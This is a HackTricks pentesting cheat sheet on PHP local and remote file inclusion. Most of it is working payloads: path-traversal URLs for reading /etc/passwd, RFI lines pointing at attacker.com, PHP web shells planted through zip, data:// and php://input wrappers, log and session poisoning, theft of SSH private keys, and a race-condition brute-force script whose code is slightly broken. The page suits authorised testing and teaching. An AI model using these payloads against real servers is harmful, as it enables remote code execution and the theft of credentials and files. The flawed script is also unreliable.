hacktricks/pentesting-web/file-inclusion.md
2020-10-26 19:35:20 +00:00

377 lines
14 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# File Inclusion/Path traversal
## File Inclusion
**Remote File Inclusion \(RFI\):** The file is loaded from a remote server \(Best: You can write the code and the server will execute it\). In php this is **disabled** by default \(**allow\_url\_include**\).
**Local File Inclusion \(LFI\):** The sever loads a local file.
The vulnerability occurs when the user can control in some way the file that is going to be load by the server.
Vulnerable **PHP functions**: require, require\_once, include, include\_once
A interesting tool to exploit this vulnerability: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE files
### **Linux**
**Mixing several \*nix LFI lists and adding more paths I have created this one:**
{% file src="../.gitbook/assets/lfi2.txt" %}
A list that uses several techniques to find the file /etc/password \(to check if the vulnerability exists\) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
Using theses lists and deleting repetitions I have created a new one:
* [https://raw.githubusercontent.com/soffensive/windowsblindread/master/windows-files.txt](https://raw.githubusercontent.com/soffensive/windowsblindread/master/windows-files.txt)
* [https://www.gracefulsecurity.com/path-traversal-cheat-sheet-windows/](https://www.gracefulsecurity.com/path-traversal-cheat-sheet-windows/)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal)
* [https://github.com/soffensive/windowsblindread/blob/master/windows-files.txt](https://github.com/soffensive/windowsblindread/blob/master/windows-files.txt)
* [http://awesomehackers.org/2018/05/11/path-traversal-cheat-sheet/](http://awesomehackers.org/2018/05/11/path-traversal-cheat-sheet/)
{% file src="../.gitbook/assets/winlfi.txt" %}
A list that uses several techniques to find the file /boot.ini \(to check if the vulnerability exists\) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
Check the LFI list of linux.
## Basic LFI and bypasses
All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also \(page=http://myserver.com/phpshellcode.txt\).
```text
http://example.com/index.php?page=../../../etc/passwd
```
### traversal sequences stripped non-recursively
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte \(%00\)**
Bypass the append more chars at the end of the provided string \(bypass of: $\_GET\['param'\]."php"\)
```text
http://example.com/index.php?page=../../../etc/passwd%00
```
This is **solved since PHP 5.4**
### **Encoding**
You could use non-standard encondings like double URL encode \(and others\):
```text
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### From existent folder
Maybe the back-end is checking the folder path:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### **Path truncation**
Bypass the append of more chars at the end of the provided string \(bypass of: $\_GET\['param'\]."php"\)
```text
In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.
```
```text
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
Always try to **start** the path **with a fake directory** \(a/\).
**This vulnerability was corrected in PHP 5.3.**
### **Filter bypass tricks**
```text
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
```
## Basic RFI
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
## Top 25 parameters
Heres list of top 25 parameters that could be vulnerable to local file inclusion \(LFI\) vulnerabilities \(from [link](https://twitter.com/trbughunters/status/1279768631845494787)\):
```text
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
```
## LFI / RFI using PHP wrappers
### Wrapper php://filter
#### Base64 and rot13
The part "php://filter" is case insensitive
```text
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
```
#### zlib \(compression\)
Can be chained with a **compression** wrapper for large files.
```text
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
```
To read the comppression data you need to decode the base64 and read the resulting data using:
```bash
php -a #Starts a php console
readfile('php://filter/zlib.inflate/resource=test.deflated');
```
**NOTE: Wrappers can be chained**
### Wrapper zip://
Upload a Zip file with a PHPShell inside and access it.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
```
### Wrapper data://
```text
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
### Wrapper expect://
Expect has to be activated. You can execute code using this.
```text
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### Wrapper input://
Specify your payload in the POST parameters
```text
http://example.com/index.php?page=php://input
POST DATA: <? system('id'); ?>
```
### Wrapper phar://
Check [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
## LFI2RCE
### Via Apache log file
If the Apache server is vulnerable to LFI inside the include function you could try to access to _**/var/log/apache2/access.log**_, set inside the user agent or inside a GET parameter a php shell like `<?php system($_GET['c']); ?>` and execute code using the "c" GET parameter.
Note that **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "_**quote;**_", **PHP will throw an error** there and **nothing else will be executed**.
This could also be done in other logs but b**e carefull,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted insithe this header.
### Via Email
Send a mail to a internal account \(user@localhost\) containing `<?php echo system($_REQUEST["cmd"]); ?>` and access to the mail _**/var/mail/USER&cmd=whoami**_
### Via /proc/\*/fd/\*
1. Upload a lot of shells \(for example : 100\)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), with $PID = PID of the process \(can be bruteforced\) and $FD the filedescriptor \(can be bruteforced too\)
### Via /proc/self/environ
Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file
```text
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Via upload
If you can upload a file, just inject the shell payload in it \(e.g : `<?php system($_GET['c']); ?>` \).
```text
http://example.com/index.php?page=path/to/uploaded/file.png
```
In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf
### Via Zip fie upload
Upload a ZIP file containing a PHP shell compressed and access:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### Via PHP sessions
Check if the website use PHP Session \(PHPSESSID\)
```text
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
In PHP these sessions are stored into _/var/lib/php5/sess\_\[PHPSESSID\]_ files
```text
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Set the cookie to `<?php system('cat /etc/passwd');?>`
```text
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
Use the LFI to include the PHP session file
```text
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### Via ssh
If ssh is active check which user is being used \(/proc/self/status & /etc/passwd\) and try to access **&lt;HOME&gt;/.ssh/id\_rsa**
### Via phpinfo\(\) \(file\_uploads = on\)
To exploit this vulnerability you need: **A LFI vulnerability, a page where phpinfo\(\) is displayed, "file\_uploads = on" and the server has to be able to write in the "/tmp" directory.**
[https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/File%20Inclusion/phpinfolfi.py](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/File%20Inclusion/phpinfolfi.py)
**Turotial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
You need to fix the exploit \(change **=&gt;** for **=&gt;**\). To do so you can do:
```text
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
```
You have to change also the **payload** at the beginning of the exploit \(for a php-rev-shell for example\), the **REQ1** \(this should point to the phpinfo page and should have the padding included, i.e.: _REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1\r_\), and **LFIREQ** \(this should point to the LFI vulnerability, i.e.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Check the double "%" when exploiting null char\)
{% file src="../.gitbook/assets/lfi-with-phpinfo-assistance.pdf" %}
#### Theory
If uploads are allowed in PHP and you try to upload a file, this files is stored in a temporal directory until the server has finished processing the request, then this temporary files is deleted.
Then, if have found a LFI vulnerability in the web server you can try to guess the name of the temporary file created and exploit a RCE accessing the temporary file before it is deleted.
In **Windows** the files are usually stored in **C:\Windows\temp\php&lt;&lt;**
In **linux** the name of the file use to be **random** and located in **/tmp**. As the name is random, it is needed to **extract from somewhere the name of the temporal file** and access it before it is deleted. This can be done reading the value of the **variable $\_FILES** inside the content of the function "**phpconfig\(\)**".
**phpinfo\(\)**
**PHP** uses a buffer of **4096B** and when it is **full**, it is **send to the client**. Then the client can **send** **a lot of big requests** \(using big headers\) **uploading a php** reverse **shell**, wait for the **first part of the phpinfo\(\) to be returned** \(where the name of the temporary file is\) and try to **access the temp file** before the php server deletes the file exploiting a LFI vulnerability.
**Python script to try to bruteforce the name \(if length = 6\)**
```python
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
```
### References
[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
[PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
{% file src="../.gitbook/assets/en-local-file-inclusion-1.pdf" %}